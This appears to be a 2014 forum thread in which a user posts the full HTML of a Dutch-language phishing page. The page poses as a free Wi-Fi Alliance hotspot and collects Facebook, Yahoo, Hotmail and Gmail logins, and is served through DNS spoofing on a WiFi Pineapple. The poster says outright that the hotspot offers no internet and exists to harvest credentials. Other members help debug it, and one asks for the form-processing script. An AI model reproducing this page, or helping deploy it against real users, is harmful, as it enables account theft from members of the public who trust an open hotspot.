Aprex Posted August 28, 2014 Share Posted August 28, 2014 (edited) Okay so in my spoofhost I have "172.16.42.1 *.*" I created my own phishing page asking for Email or Facebook login before proceeding to use my "free internet". I don't have internet to share so after they logged it in will say the hotspot is in maintainence. Problem is, the phishing page has some images to make it look professional but when you browse to a website with a / behind it, it won't show the images. Here is an example. Check out the URL bar difference on both images: http://i.imgur.com/EAi0ELY.png http://i.imgur.com/bvyAXfM.png I also tried on my iPhone and it does the exact same thing. Any help here? This is my index.html (the images are in /www/ like the index.html) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Gratis Internet | Wi-Fi Alliance</title> </head> <body> <center> <br /> <img src="./wifi-alliance.jpg" width="20%"><br /> <br /> <p><Strong>Deze gratis Wi-Fi hotspot is uw aangeboden door de Wi-Fi alliance. U kunt onze hotspots op drukbevolkte plekken in Nederland en België vinden.</Strong></p> <p><Strong>Voer hier voordat u verder gaat uw Facebook of Email gegevens in om u als gebruiker te verifiëren. Hierna kunt u zorgeloos gratis 60 minuten internetten. </Strong></p><br /> <form action="./process-form-data.php" method="post"> <fieldset> <table width="320"> <tr> <td colspan="1" align=left>Email</td> <td colspan="3" width="100%"><input style="width:100%;" name="login" type="text"/></td> </tr> <tr> <td colspan="1" align=left>Wachtwoord</td> <td colspan="3" width="100%"><input style="width:100%;" type="password" name="password" /></td> </tr> <tr> <td><img src="./facebookLogo.jpg" /></td> <td><img src="./yahoo.png"/></td> <td><img src="./HotmailLogo.jpg"/></td> <td><img src="./gmail.jpg"/></td> </tr> <tr> </tr> <tr></tr> <td align=center ><input type="submit" value="Login" name="facebook" /></td> <td align=center ><input type="submit" value="Login" name="yahoo" /></td> <td align=center ><input type="submit" value="Login" name="hotmail" /></td> <td align=center ><input type="submit" value="Login" name="gmail" /></td> </table> </fieldset> </form> </center> </body> </html> Edited August 28, 2014 by Aprex Quote Link to comment Share on other sites More sharing options...
daniboy92 Posted August 28, 2014 Share Posted August 28, 2014 Have you tried using a iptable rule for redirect the http traffic to pineapple? Quote Link to comment Share on other sites More sharing options...
renegade117 Posted August 29, 2014 Share Posted August 29, 2014 Had the exact same issue with images/JavaScript files/etc not loading using DNSSpoof. Posted description of my problem here: https://forums.hak5.org/index.php?/topic/32940-website-not-loading-properly-on-internal-and-external-storage/Unfortunately, I haven't been able to figure it out, nor has anyone even bothered to reply. I've gotten DNSSpoof to successfully work before with no issues using older firmware, but this has been happening to me ever since 1.4.1 (yes, I did factory reset the Pineapple several times as well as formatted the SD card several times). Thinking back on it, I had installed the DNSSpoof infusion on top of the DNSSpoof found locally on the Pineapple, so I wonder if perhaps that is the cause of the issue. Haven't had the time to mess around with it lately, but I will see if perhaps the DNSSpoof infusion is causing issues as soon as I can. Quote Link to comment Share on other sites More sharing options...
thegingerone Posted August 30, 2014 Share Posted August 30, 2014 Looks like a reference issue in your URLs to your images. Can you try and put in http://172.16.42.1/imagename.jpg for example so that you can verify it. If the image loads on the problem URL then you know its a problem with relative paths and you can use absolute paths instead Quote Link to comment Share on other sites More sharing options...
Sebkinne Posted August 31, 2014 Share Posted August 31, 2014 Exactly as theigingerone said, your image links are wrong. By using "./image.jpeg", you are saying the image is in the current directory. So it looks for images in /x/y/z if that is the URL you have gone to. To fix it, remove the dot: "/image.jpeg". Nothing wrong with DNSSpoof, or you wouldn't see the page at all. Best regards, Sebkinne Quote Link to comment Share on other sites More sharing options...
Aprex Posted September 1, 2014 Author Share Posted September 1, 2014 Exactly as theigingerone said, your image links are wrong. By using "./image.jpeg", you are saying the image is in the current directory. So it looks for images in /x/y/z if that is the URL you have gone to. To fix it, remove the dot: "/image.jpeg". Nothing wrong with DNSSpoof, or you wouldn't see the page at all. Best regards, Sebkinne Thanks! This solved my issue. Why do they work with websites without a /xxx behind it? Quote Link to comment Share on other sites More sharing options...
Sebkinne Posted September 1, 2014 Share Posted September 1, 2014 Thanks! This solved my issue. Why do they work with websites without a /xxx behind it? Glad I could help! Because then the browser requests the images from the website root ("/"). Seeing as the images are in the website root, they load. Best Regards, Sebkinne Quote Link to comment Share on other sites More sharing options...
daniboy92 Posted September 2, 2014 Share Posted September 2, 2014 Can you post your 'process-form-data.php' for me? I want it for a Captive Portal. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.